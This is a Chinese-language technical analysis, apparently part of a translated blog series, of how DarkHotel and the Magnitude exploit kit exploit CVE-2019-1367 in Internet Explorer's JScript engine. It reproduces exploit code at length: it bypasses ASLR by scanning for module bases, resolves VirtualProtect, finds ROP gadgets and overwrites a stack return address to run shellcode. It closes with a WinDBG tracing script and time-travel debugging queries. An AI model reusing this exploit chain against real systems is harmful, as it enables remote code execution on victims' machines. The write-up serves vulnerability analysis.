这个vftable指针位于jscript模块内部的某个地方,我们将使用它来获取jscript模块的基址。读取vftable指针的地址,其低位字节设置为0x0,并开始搜索DOS头。搜索的方法是每次将当前指针递减0x10000,直到找到DOS头,然后可以从中推导出jscript模块基地址。

注意:该exploit找到字符串“ is Program canno ”,该字符串通常在DOS标头中找到“ This Program cannot be run in DOS mode “。
“`c++
var Z = V(O); // reads vftable pointer, from the Fake RegExp object
Z = Z & 0xFFFF0000;

do // locating jscript.dll module base
if ((V(Z + 0x50) == 0x70207369) && //p si
(V(Z + 0x54) == 0x72676f72) && // rgor
(V(Z + 0x58) == 0x63206d61) && // c ma
(V(Z + 0x5C) == 0x6f6e6e61)) break; // onna
while (Z -= 0x10000);
var ab = W(Z);

function ac(a) {
if (a < 0x54) throw new Error(“Bad offset for JScript DWORD read.”);
return X(ab, a – 0x54);
}

function ad(a) {
if (a < 0x54) throw new Error(“Bad offset for JScript BYTE read.”);
return Y(ab, a – 0x54);
}


至此,我们知道exploit绕过了ASLR,因为模块的所有内存地址都是使用泄漏的vftable指针动态计算的。

找到jscript 基地址后,将解析导入表获取kernel32基址:
```c++
 var ae = V(Z + 0x3C);
  var af = ac(ae + 0x18 + 0x60 + (e * 2));
  var ag = ac(ae + 0x18 + 0x60 + (e * 2) + e);
  var ah = "KERNEL32.dll";
  var ai = false;
  for (var aj = af; aj < af + ag; aj += 5 * e) {
   var ak = ac(aj + 0x0C);
   var al = new Array();
   var am = 0;
   while ((am = ad(ak++))) al.push(am);
   var an = String.fromCharCode.apply(null, al);
   if (ah === an) {
    ai = true;
    break;
   }
  }
  if (!ai) throw new Error("Could not find KERBEL32 import descriptor.");
  var ao = ac(aj + 0x10);
  var ap = ac(ao);
  ap = ap & 0xFFFF0000;
  do
   if ((V(ap + 0x50) == 0x70207369) && (V(ap + 0x54) == 0x72676f72) && (V(ap + 0x58) == 0x63206d61) && (V(ap + 0x5C) == 0x6f6e6e61)) break; while (ap -= 0x10000);
  var aq = W(ap);

  function ar(a) {
   if (a < 0x54) throw new Error("Bad offset for kernel32 DWORD read.");
   return X(aq, a - 0x54);
  }

  function as(a) {
   if (a < 0x54) throw new Error("Bad offset for kernel32 BYTE read.");
   return Y(aq, a - 0x54);
  }

一旦找到kernel32模块的基地址,就可以通过解析Export目录找到该模块的任何所需功能。

解析这个导出表获取KERNEL32!VirtualProtect,这个函数稍后在ROP链中用于向shellcode赋予执行权限:

function at(a) {
   var b = V(ap + 0x3C);
   var c = ar(b + 0x18 + 0x60);
   var f = ar(b + 0x18 + 0x60 + e);
   var g = ar(c + 0x18);
   var h = ar(c + 0x1C);
   var i = ar(c + 0x20);
   var j = ar(c + 0x24);
   for (nameIndex = 0; nameIndex < g; nameIndex++) {
    var k = ar(i + nameIndex * e);
    var l = new Array();
    var m = 0;
    while ((m = as(k++))) l.push(m);
    var n = String.fromCharCode.apply(null, l);
    if (a === n) break;
   }
   if (nameIndex == g) throw new Error("Did not find export.");
   var o = U(ap + j + nameIndex * d);
   return ap + ar(h + o * e);
  }
  var au = at("VirtualProtect"); // returns VirtualProtect Address

重复相同的过程来定位代码执行所需的ROP gadgets,例如在 kernel32 模块中查找pop eax这样的gadge;

var av = null;
  var ae = V(ap + 0x3C);
  var aw = ap + ae;
  var ax = V(aw + 0x1C);
  var ay = V(aw + 0x2C);
  for (var A = 0; A < ax && (av == null); A++) {
   var az = X(aq, ay + A - 0x54);
   if ((az & 0xFFFC) == 0xC358) { // ROP gadget = pop eax; ret
    av = ap + ay + A;
    continue;
   }
   if ((az & 0xF800) != 0x5800) A++;
  }

将前面的gadget位置增加1,以减去实际使用的第二个ROP gadget,即ret (0xC359)。

接下来在堆中创建一个ROP链,它最终调用VirtualProtect并将shellcode内存区域的保护属性设置为0x40 (PAGE_EXECUTE_READWRITE),如下所示:

S(aC + 4, av + 1); // rop gadget: ret
S(aC + 4 + 4 + 0x18, av); //  rop gadget: pop eax; ret
S(aC + 4 + 4 + 0x1C, av + 1); // rop gadget: ret
S(aC + 4 + 4 + 0x20, au); //  virtual Protect Address
S(aC + 4 + 4 + 4 + 0x20, O + h);//virtual protect return address (shellcode address)
S(aC + 4 + 4 + 4 + 4 + 0x20, O + h); //lpAddress (shellcode address)
S(aC + 4 + 4 + 4 + 4 + 4 + 0x20, (m.length * c));//dwSize (shellcode size)
S(aC + 4 + 4 + 4 + 4 + 4 + 4 + 0x20, 0x40);//PAGE_EXECUTE_READWRITE
S(aC + 4 + 4 + 4 + 4 + 4 + 4 + 4 + 0x20, aC - 0x1000); //oldprotect

用于更改执行流程的技术与Google P0和F-secure中讨论的技术相同,即使用read原语获得指向堆栈的指针,然后使用write原语覆盖返回地址。

在exploit中,我们可以找到负责覆盖栈中返回地址的代码,其中变量aB指向该地址(我们已通过调试器进行了确认):

var aA = S(O, V(O));  

  var aB = ((aA.charCodeAt(4) << 16) | aA.charCodeAt(3)) - 0x44; // <--- points to a return address in the native stack

  for (var A = 0; A < 10; A++) V(aB - (0x1000 * A));

  var aC = aB - 0x2000; // <--- will be used for the ROP chain layout

//<code skipped>

  S(aC + 4, av + 1); // ret
  S(aC + 4 + 4 + 0x18, av); // pop eax ret
  S(aC + 4 + 4 + 0x1C, av + 1); // ret
  S(aC + 4 + 4 + 0x20, au); // virtual protect @
  S(aC + 4 + 4 + 4 + 0x20, O + h);//shellcode address
  S(aC + 4 + 4 + 4 + 4 + 0x20, O + h); //shellcode address
  S(aC + 4 + 4 + 4 + 4 + 4 + 0x20, (m.length * c)); //shellcode size
  S(aC + 4 + 4 + 4 + 4 + 4 + 4 + 0x20, 0x40);//protect
  S(aC + 4 + 4 + 4 + 4 + 4 + 4 + 4 + 0x20, aC - 0x1000);
  S(aB, aC);  // <-- overwrites return address in the native stack

当栈中的返回地址被覆盖时,ESP指向我们可控的堆栈布局,并且EIP执行我们的第一个ROP gadget。执行ROP链最终调用shellcode:

我们希望我们的文章能够帮助您理解如何利用 CVE-2019-1367 漏洞来实现代码执行。
接下来是我们注意到在CVE-2019–1367的exploit中DarkHotel exploit和Magnitude EK exploit之间的一些区别。

 

Darkhotel 64/32位和Magnitude 32位 exploits

内存保护标志

在ROP链中设置的VirtualProtect调用,我们注意到KERNEL32的内存保护标志有一个小区别!

区别是 Magnitude EK 使用的值是0x20 PAGE_EXECUTION_READ,而DarkHotel APT使用的值是0x40 PAGE_EXECUTE_READWRITE:
Magnitude x32 ROP Chain:

kZ065np7(PK4968+4,wnU86O+1); // rop gadget: ret
kZ065np7(PK4968+32,wnU86O);  // rop gadget: pop eax; ret
kZ065np7(PK4968+36,wnU86O+1); // rop gadget: ret
kZ065np7(PK4968+40,J56m55);// / virtual Protect Address
kZ065np7(PK4968+44,aRc3wLj+u647wRR6); //// virtual protect return address (address shellcode)
kZ065np7(PK4968+48,aRc3wLj+u647wRR6); ////lpAddress(address shellcode)
kZ065np7(PK4968+52,(V9INZ9t.length*P7661n8l1));//dwSize (shellcode size)
kZ065np7(PK4968+56,0x20);// flNewProtect PAGE_EXECUTION_READ
kZ065np7(PK4968+60,PK4968-0x1000);// flOldProtect
kZ065np7(Gf8770861L,PK4968);

基于对Magnitude EK的分析,似乎Magnitude Exploit KIT的作者由于历史原因选择了0x20的值来绕过V3,这是Ahnlab的解决方案(韩国一个已知的安全厂商)。

在DarkHotel x64 Exploit中使用NtContinue

在DarkHotel x64中注意到的一个区别是使用了NtContinue。这是一个在ntdll.dll中没有文档记录的函数,它执行一个系统调用来用CONTEXT结构中的指定的值填充寄存器。这个技术记录在F-Secure的博客中。

我们建议读者阅读本文系列的第3部分,我们对Magnitude Exploit KIT和DarkHotel APT shellcode的分析,或者继续阅读下面调试的部分。

 

Exploit analysis Tools

我们编写了一个脚本来检查指定分配的内存(GC块),这帮助我们检查内存中的类型混淆以及创建的fake VAR对象。

WinDBG Javascrip

我们将使用WinDBG的Javascript调试器来跟踪GC块的内存分配。

以上所有代码和地址均在Jscript.dll x32位,Window 10 x64位和IE 11 32位上进行了测试。

断点设置

我们将在3个地方设置断点:

  • Track GC块分配
  • Track 空闲GC块何时添加到缓存中
  • GC块何时被释放

    一切都发生在 jscript!GcBlockFactory::FreeBlk 和jscript!GcBlockFactory::pblkAlloc 。

下面是我们将设置的断点:

第一个断点将使我们能够跟踪每个新分配的GC块,并返回其内存地址。我们通过在调用jscript!GcBlockFactory::pblkAlloc之后立即设置断点来实现这一点!eax将包含新分配的GC块的内存地址:

//jscript!GcAlloc::PvarAlloc+0x89:
    6ac0bdfc 8b460c         mov     eax, dword ptr [esi+0Ch]
    6ac0bdff 894710         mov     dword ptr [edi+10h], eax
    6ac0be02 ebae           jmp     jscript!GcAlloc::PvarAlloc+0x32 (6ac0bdb2)
    6ac0be04 e878d9ffff     call    jscript!GcBlockFactory::PblkAlloc (6ac09781)
 -> 6ac0be09 8bc8           mov     ecx, eax   // eax contains address of the new allocate GCBlock

第二个断点比较棘手,我们需要在释放的GC块和添加到空闲块列表中的空闲GC块之间进行区分。

当将GC块添加到空闲块列表时,将调用 jscript!GcBlockFactory::FreeBlk+0x43,ecx包含此地址:

// jscript!GcBlockFactory::FreeBlk+0x43:
//6ac09768 68dc59c86a      push    offset jscript!g_gbf+0x1c (6ac859dc)

//6ac09765 8b4d08         mov     ecx, dword ptr [ebp+8] ss:002b:05c3b22c=23fb1228
//6ac09768 68dc59c86a     push    offset jscript!g_gbf+0x1c (6ac859dc)
//6ac0976d e8bdfdffff     call    jscript!GcBlock::Link (6ac0952f)  <-- link  (ecx = @ GCBlock)

最后一个断点是GC块完全释放(取消分配)的位置。 在jscript!GcBlockFactory::FreeBlk+0x1e 内部,有一个delete调用,而ecx包含将要释放的chunk 地址。

//jscript!GcBlockFactory::FreeBlk+0x1e:
//6ac09743 e834970200      call    jscript!operator delete (6ac32e7c)  <-- free (ecx =  @ GCBlock)

所有这些都可以使用GcBlockFactory_monitor.js脚本来实现。

PS:我们负责从寄存器读取x32位值。

// by taha@confiant.com
// trace jscript!GcBlockFactory::PblkAlloc for GcBlock allocations
// tested with Jscript.dll 32 bits 
//jscript!GcAlloc::PvarAlloc+0x89:
//    6ac0bdfc 8b460c         mov     eax, dword ptr [esi+0Ch]
//    6ac0bdff 894710         mov     dword ptr [edi+10h], eax
//    6ac0be02 ebae           jmp     jscript!GcAlloc::PvarAlloc+0x32 (6ac0bdb2)
//    6ac0be04 e878d9ffff     call    jscript!GcBlockFactory::PblkAlloc (6ac09781)
// -> 6ac0be09 8bc8           mov     ecx, eax   // eax contains address of the new allocate GCBlock



// jscript!GcBlockFactory::FreeBlk+0x43:
//6ac09768 68dc59c86a      push    offset jscript!g_gbf+0x1c (6ac859dc)

//6ac09765 8b4d08         mov     ecx, dword ptr [ebp+8] ss:002b:05c3b22c=23fb1228
//6ac09768 68dc59c86a     push    offset jscript!g_gbf+0x1c (6ac859dc)
//6ac0976d e8bdfdffff     call    jscript!GcBlock::Link (6ac0952f)  <-- link  (ecx = @ GCBlock)

//jscript!GcBlockFactory::FreeBlk+0x1e:
//6ac09743 e834970200      call    jscript!operator delete (6ac32e7c)  <-- free (ecx =  @ GCBlock)


"use strict";
    const hex = p => p.toString(16);

    function initializeScript()
    {
        return [new host.apiVersionSupport(1, 3)];
    }

    let logln = function (e) {
        host.diagnostics.debugLog(e + 'n');
    }

    function read_u32(addr) {
        return host.parseInt64(host.memory.readMemoryValues(addr, 1, 4));
    }

    function handle_bp() {
        let Regs = host.currentThread.Registers.User;
        let eax = hex(Regs.eax)
        logln('jscript!GcBlockFactory::PblkAlloc: address: ' + eax );
    }
     function handle_bp2() {
        let Regs = host.currentThread.Registers.User;
        let ecx = hex(Regs.ecx)
        logln('jscript!GcBlockFactory::FreeBlk: [deallocated] address: ' + ecx );
    }

     function handle_bp3() {
        let Regs = host.currentThread.Registers.User;
        let ecx = hex(Regs.ecx)
        logln('jscript!GcBlockFactory::FreeBlk: [link GCBlock] address: ' + ecx );
    }

    function invokeScript() {
        let Control = host.namespace.Debugger.Utility.Control;
        let Regs = host.currentThread.Registers.User;
        let CurrentProcess = host.currentProcess;
        let BreakpointAlreadySet = CurrentProcess.Debug.Breakpoints.Any(
            c => c.OffsetExpression == 'jscript!GcAlloc::PvarAlloc+0x89'
        );

        let BreakpointAlreadySet2 = CurrentProcess.Debug.Breakpoints.Any(
            c => c.OffsetExpression == 'jscript!GcBlockFactory::FreeBlk+0x1e'
        );

        let BreakpointAlreadySet3 = CurrentProcess.Debug.Breakpoints.Any(
            c => c.OffsetExpression == 'jscript!GcBlockFactory::FreeBlk+0x43'
        );

        if(BreakpointAlreadySet == false) {
            let Bp = Control.SetBreakpointAtOffset('GcAlloc::PvarAlloc', 0x89, 'jscript');
            Bp.Command = 'dx @$scriptContents.handle_bp(); gc';
        } else {
            logln('Breakpoint already set.');
        }
        if(BreakpointAlreadySet2 == false) {
            let Bp = Control.SetBreakpointAtOffset('GcBlockFactory::FreeBlk', 0x1e, 'jscript');
            Bp.Command = 'dx @$scriptContents.handle_bp2(); gc';
        } else {
            logln('Breakpoint already set.');
        }

    if(BreakpointAlreadySet3 == false) {
            let Bp = Control.SetBreakpointAtOffset('GcBlockFactory::FreeBlk', 0x43, 'jscript');
            Bp.Command = 'dx @$scriptContents.handle_bp3(); gc';
        } else {
            logln('Breakpoint already set.');
        }
        logln('Press "g" to run the target.');
    }

//Press "g" to run the target.
//0:001> g
//jscript!GcBlockFactory::PblkAlloc: address: 5de94a0
//@$scriptContents.handle_bp()
//jscript!GcBlockFactory::PblkAlloc: address: 5de9af0
//@$scriptContents.handle_bp()
//jscript!GcBlockFactory::PblkAlloc: address: 5dea140
//@$scriptContents.handle_bp()
//jscript!GcBlockFactory::PblkAlloc: address: 5df5fd0
//
//0:001> dd 5de94a0 L648h/4
//05de94a0  05e01ff8 05de9af0 00000081 00000000
//05de94b0  23e3c6c8 05de94b8 00000081 00000000
//05de94c0  23e3c5a8 05de94c8 00000081 00000000
//05de94d0  23e3c440 05de94d8 00000081 00000000

运行此脚本,我们可以立即将注意力集中在释放的chunk上,因为我们知道那是悬空指针指向的位置:

正如我们在前面的利用阶段看到的,在32位中,GC块的精确大小为0x648h(而x64位中为0x970h)。这是基于对GCBlockFactory::PblkAlloc() 32位反汇编:

让我们在地址0x23ea1d20处选择第三个释放的GC块进行验证:

进入WinDBG TTD(Time travel debugging)调试

我们在与WinDBG的TTD会话中记录了magnize Exploit KIT 32位exploit,我们将使用WinDBG LINQ查询来查看这个位于0x23ea1d20的GC块中发生了什么。

多亏了TTD,我们可以在一个查询中获得对GC块0x23ea1d20的所有写访问。为了可读性,我们暂时将结果保存在变量@$access中。

dx @$Accesses=@$cursession.TTD.Memory(0x23ea1d20, 0x23ea1d20+0x648, “w”)

如上所述,覆盖属性名称被复制到同一GC块中,该chunk过早被释放,从而引起类型混淆:

我们想通过查看这个地址0x23ea2048的TTD来确认类型混乱。我们可以使用以下查询显示对该地址的所有写入访问,它将打印地址、值和写访问发生的时间。

0:000> dx  -g @$Accesses.Select(p => new {Address = p.Address, Value = p.Value, Time = p.TimeEnd}).Where(p=> p.Address == 0x23ea2048)


我们可以看到类型混淆确实发生了,VAR.type的0x81被修改为integer类型的0x3。0x881是调用CollectGarbage()的结果,它调用了GcAlloc::SetMark函数,该函数执行了(Var.Type = 0x800 | Var.Type)。

最后,我们可以前往0x85D7B:0x257来进行堆栈跟踪:

0:001> dx @$create("Debugger.Models.TTD.Position", 0x85D7B, 0x257).SeekTo()

我们可以通过调用NameList::FCreateVval来创建一个VVAL,它负责创建较大的属性名:

0:001> dx @$create("Debugger.Models.TTD.Position", 0x85D7B, 0x257).SeekTo()
(136c.1b4c): Break instruction exception - code 80000003 (first/second chance not available)
Time Travel Position: 85D7B:257
@$create("Debugger.Models.TTD.Position", 0x85D7B, 0x257).SeekTo()
0:001> k
 # ChildEBP RetAddr  
00 05c3d978 74c7a8e5 msvcrt!_VEC_memcpy+0x7c
01 05c3d990 74c372a0 msvcrt!_VEC_memcpy+0xb4
02 05c3d9a8 6ac0b8d7 msvcrt!malloc+0x90
03 05c3d9d0 6ac1dd77 jscript!NameList::FCreateVval+0xe7
04 05c3da10 6ac0d73e jscript!ArrayObj::SetVal+0x77
05 05c3db00 6ac1f72b jscript!VAR::InvokeByName+0x59e
06 05c3db84 6ac10c60 jscript!VAR::InvokeByVar+0x111
07 05c3def8 6ac12f52 jscript!CScriptRuntime::Run+0x15b0

 

总结

在本节中,我们提供了部分内容来理解这个漏洞导致的类型混淆,这些类型混淆稍后将用于构建exploit原语。我们还提供了一些脚本用来快速分析内存中的指定区域,以监控jscript垃圾回收机制缓存,这帮助我们了解类型混淆。下一部分将重点分析Magnitude EK group的shellcode。

(完)